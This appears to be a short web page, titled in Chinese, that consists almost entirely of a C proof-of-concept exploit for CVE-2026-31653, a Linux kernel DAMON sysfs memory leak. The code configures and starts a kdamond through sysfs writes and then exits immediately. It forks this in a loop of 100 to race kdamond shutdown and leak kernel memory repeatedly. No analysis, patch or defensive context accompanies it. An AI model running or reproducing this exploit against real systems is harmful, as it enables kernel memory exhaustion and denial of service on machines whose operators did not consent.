Linux内核DAMON内存泄漏漏洞CVE-2026-31653

/* * PoC for CVE-2026-31653: Linux Kernel DAMON sysfs Memory Leak * This script attempts to trigger the race condition where * kdamond stops before damon_call() deallocates repeat_call_control. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/syscall.h> #include <string.h> #define DAMON_SYSFS_DIR "/sys/kernel/mm/damon/admin" void trigger_leak() { FILE *fp; char pid_str[32]; snprintf(pid_str, sizeof(pid_str), "%d", getpid()); // 1. Create a DAMON context targeting the current process fp = fopen(DAMON_SYSFS_DIR "/kdamonds/nr_kdamonds", "w"); if (fp) { fprintf(fp, "1"); fclose(fp); } // 2. Configure target pid (simulate the vulnerable scenario) fp = fopen(DAMON_SYSFS_DIR "/kdamonds/0/contexts/0/targets/nr_targets", "w"); if (fp) { fprintf(fp, "1"); fclose(fp); } fp = fopen(DAMON_SYSFS_DIR "/kdamonds/0/contexts/0/targets/0/pid_target", "w"); if (fp) { fprintf(fp, "%s", pid_str); fclose(fp); } // 3. Turn on kdamond fp = fopen(DAMON_SYSFS_DIR "/kdamonds/0/state", "w"); if (fp) { fprintf(fp, "on"); fclose(fp); } // 4. Immediately exit the process to trigger the race condition // This causes kdamond to stop while repeat_call_control might be active exit(0); } int main() { printf("Starting PoC for CVE-2026-31653...\n"); // Loop to increase memory leak impact for (int i = 0; i < 100; i++) { if (fork() == 0) { trigger_leak(); } usleep(10000); } return 0; }